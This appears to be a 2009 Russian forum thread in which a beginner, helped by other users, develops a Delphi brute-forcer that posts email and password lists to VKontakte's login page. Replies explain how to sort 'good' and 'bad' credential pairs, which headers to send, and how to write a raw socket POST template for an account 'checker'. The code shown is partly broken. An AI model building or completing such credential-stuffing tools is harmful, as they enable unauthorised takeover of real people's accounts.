PDA

Просмотр полной версии : Авторизация в контакте[DELPHI]


Ant1Player
09.08.2009, 00:08
Кому не трудно помогите начинающему програмисту :rolleyes: выложить тут исходник с этим кодом
P.S. Поступил на первый курс в техникум :D сайт не брошу ;)

procedure Brute();
var
emails:TStingList;
pass:TStingList;
post:TStingList;
i,j:integer;
begin
email:=TStringList.Create; pass:=TStringList.Create;

http:=TidHTTP.Create(nil);
http.HandleRedirects:=true;
post:=tstringlist.Create;
for i:=0 to emails.Count-1 do begin
post.Clear;
post.Add('email='+emails.Strings[i]);
for j:=0 to pass.Count-1 do begin
post.Add('pass='+pass.Strings[j]);
result:=http.Post('/',post);
if pos('',result)>;0 then
else


end;
end;


emails.Free;
pass.Free;
http.Free;
post.Free;
end;
прост меня интересует код с then и else можно и на сокетах выложить...
P.S.S. не над ругаться типо тема уже была с авторизацией. меня интересует именно с then и else
(что делать если пасс пральны и что если не правильный)

ZdezBilYa
09.08.2009, 00:37
не понятно.... а где вообще then? и что за запрос такой интересный со слешем?

аа... then нашел... ну прикольный код))

Jes
09.08.2009, 00:44
if pos('',result)>;0 then
else
hmm , а это что вообще такое ?

ZdezBilYa
09.08.2009, 00:48
if pos('',result)>;0 then
else
hmm , а это что вообще такое ?
видимо в этом и вопрос:
что делать если пасс пральны и что если не правильный

если пасс правильный - записывай в один файл, если нет - в другой

Ant1Player
09.08.2009, 01:02
procedure Brute();
var
emails:TStingList;
pass:TStingList;
post:TStingList;
i,j:integer;
begin
email:=TStringList.Create; pass:=TStringList.Create;

http:=TidHTTP.Create(nil);
http.HandleRedirects:=true;
post:=tstringlist.Create;
for i:=0 to emails.Count-1 do begin
post.Clear;
post.Add('email='+emails.Strings[i]);
for j:=0 to pass.Count-1 do begin
post.Add('pass='+pass.Strings[j]);
result:=http.Post('/',post);
if pos('',result)>;0 then

///////
//тут будет код
///////

else

///////
//и тут
//////

end;
end;


emails.Free;
pass.Free;
http.Free;
post.Free;
end;
я вот хз как его дароботать шоб оно работало =))
странный код и я хз какие там компоненты нужны я грю новичек поетому и прошу обработать это в исходник... :rolleyes:

ZdezBilYa
09.08.2009, 03:06
ничего себе "доработать"...
если решил авторизовываться в контакте, то надо знать параметры запроса и адрес.
Вместо адреса слеш стоит, а надо "http://vkontakte.ru/login.php".
После then записываешь пару "пароль;мыло" в файл "good", после else - в файл "bad". Например так.

Компоненты Indy нужны. Есть в программе?

Ant1Player
09.08.2009, 10:08
Что не так? останавливаетсяя на result
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, IdBaseComponent, IdComponent, IdTCPConnection,
IdTCPClient, IdHTTP;

type
TForm1 = class(TForm)
IdHTTP1: TIdHTTP;
Button1: TButton;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
var
emails:TStringList;
pass:TStringList;
post:TStringList;

i,j:integer;
http:TidHTTP;
begin
emails:=TStringList.Create;
pass:=TStringList.Create;
emails.Add('****@mail.ru');
pass.Add('******');
http:=TidHTTP.Create(nil);
http.HandleRedirects:=true;
post:=tstringlist.Create;
for i:=0 to emails.Count-1 do begin
post.Clear;
post.Add('email='+emails.Strings[i]);
for j:=0 to pass.Count-1 do begin
post.Add('pass='+pass.Strings[j]);
result :=http.Post('http://vkontakte.ru/login.php',post);
if pos('',result)>;0 then
ShowMessage('Не правильно ');

///////
//тут будет код
///////

else
ShowMessage('правильно ');
///////
//и тут
//////

end;
end;


emails.Free;
pass.Free;
http.Free;
post.Free;

end.

ZdezBilYa
09.08.2009, 10:51
Ошибка какая??
Возможно не хватает обязательных параметров. Посмотри снифером.
Возможно заголовки нужны

Ant1Player
09.08.2009, 11:05
Build
[Error] Unit1.pas(49): Undeclared identifier: 'result'
[Error] Unit1.pas(50): Incompatible types
[Error] Unit1.pas(75): Statement expected but end of file found
[Fatal Error] Project2.dpr(5): Could not compile used unit 'Unit1.pas'

49 строка ето result :=http.Post('http://vkontakte.ru/login.php',post);

ZdezBilYa
09.08.2009, 11:25
result не определен как string.
+ pos('logout',result) вот что должно быть в if (т.е. какое-то слово, которое присутствует на странице после входа)
+ походу end не хватает после post.free

Ant1Player
09.08.2009, 22:38
есть еще какаято ошибка всегда пишит правильно даже если не пральный логин с паролем...
только если правильно думает больше програма..

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
IdHTTP, StdCtrls;

type
TForm1 = class(TForm)
Button1: TButton;
IdHTTP1: TIdHTTP;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
var
emails:TStringList;
pass:TStringList;
post:TStringList;
result:String;

i,j:integer;
http:TidHTTP;
begin
emails:=TStringList.Create;
pass:=TStringList.Create;
emails.Add('2345@mail.ru');
pass.Add('23425');
http:=TidHTTP.Create(nil);
http.HandleRedirects:=true;
post:=tstringlist.Create;
for i:=0 to emails.Count-1 do begin
post.Clear;
post.Add('email='+emails.Strings[i]);
for j:=0 to pass.Count-1 do begin
post.Add('pass='+pass.Strings[j]);
result :=http.Post('http://vkontakte.ru/login.php',post);
if pos('logout',result)>0
then
ShowMessage('Не правильно ')


else
ShowMessage('правильно ')


end;
end;
emails.Free;
pass.Free;
http.Free;
post.Free;
end;



end.

ZdezBilYa
09.08.2009, 22:55
значит всё верно) ибо по программе как раз и получается, что если на странице есть слово "logout", то сообщение - "не правильно"
поменяй местами сообщения и потестируй на валидном и невалидном аккаунтах

mailbrush
09.08.2009, 23:04
http://forum.antichat.ru/showpost.php?p=788789&postcount=11

Ant1Player
09.08.2009, 23:08
значит всё верно) ибо по программе как раз и получается, что если на странице есть слово "logout", то сообщение - "не правильно"
поменяй местами сообщения и потестируй на валидном и невалидном аккаунтах
всегда пишит правильно даже если не пральный логин с паролем...и даже если правильный..
mailbrush эт не то.. да и сокеты я пока не изучал..

mailbrush
09.08.2009, 23:30
Инди не подходит для написания брутов. WinSock || WinInet - самое оно.

Ant1Player
09.08.2009, 23:37
да мне и этот пойдет мне ведь сразу много не над мыло одновременно а чисто 2 поля под мыло и пасс булет..
прост надо разобраться с этим if pos('logout',result)>0
почему он всегда else выдает то...

ZdezBilYa
10.08.2009, 01:36
прост надо разобраться с этим if pos('logout',result)>0
почему он всегда else выдает то...
Возможно не хватает обязательных параметров.
Возможно заголовки нужны
Это снифером можно посмотреть

Gar|k
10.08.2009, 13:31
Ant1Player не страдай херней.... De-visible и так все уже разжевал в министатейке.

Во первых заголовки HTTP должны быть правельные. User-Agent, Referer, Connection, Content-Type это все важно!

Во вторых данные в пост запросе имеют такой вид:
param1=value1&param2=value2\r\n\r\n

а как у тебя там в TStringList ? в какой кодировке? в ANSI в UNICODE? может там
param1=value1\nparam2=value2\n ?

В общем для "просто разобратся" тренеруйся на самописной форме...
скачай Denver (http://www.denwer.ru/) установи и создай файл

Z:\home\localhost\www\post.php:

<?php
if(empty($_POST)) {
echo "<form method=post><input type=text name=login> <input type=password name=pass></form>"; }
else {
echo $_POST['login'].':'.$_POST['pass']; }
?>


и не мучай людям моск... удаче!

mr. ZetRikS
11.08.2009, 14:18
Помоему на сокетах это состряпать проще буит, отснифав пакет когда логинишься на вконтакт... кинул бы линк на другой ресурс, но не хочу выглядеть рекламщиком других ресурсов...

'
POST /login.php HTTP/1.1'+#13#10+
'Host: vkontakte.ru'+#13#10+
'User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'+#13#10+
'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'+#13#10+
'Accept-Language: ru,en-us;q=0.7,en;q=0.3'+#13#10+
'Accept-Encoding: gzip,deflate'+#13#10+
'Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7'+#13#10+
'Keep-Alive: 300'+#13#10+
'Connection: keep-alive'+#13#10+
'Referer: http://vkontakte.ru/index.php'+#13#10+
'Cookie: remixlang=0; remixchk=5'+#13#10+
'Content-Type: application/x-www-form-urlencoded'+#13#10+
'Content-Length: 42'+#13#10+
#13#10+
'email='+email+'&pass='+pass+
#13#10;

создаёшь процедурку в которой спрашиваешь email и pass, которые походу меняешь если нуна, весь этот код присваиваешь перемеенной типа стринг и шлёшь...

А вообще и тут де то это уже обсуждалось, если мне память не изменяет... и гугл вроде является поисковой системой...


P.S. чекер or checker вконтакте

Chrome~
12.08.2009, 23:52
User-Agent, Referer, Connection, Content-Type это все важно!
Не во всех случаях. При GET запросе можно оставить, например, только значение поля Host, но это не рекомендуется делать в реальных проектах.

Во вторых данные в пост запросе имеют такой вид:
param1=value1&param2=value2\r\n\r\n
Ты ошибаешься: \r\n\r\n - лишние.

Chrome~
12.08.2009, 23:56
mr. ZetRikS, твой код неправильный. Во первых: в самом начале кода табуляция, во вторых: не должно быть #13#10 в конце запроса, и в третьих: не факт, что Content-Length всегда будет равняться 42.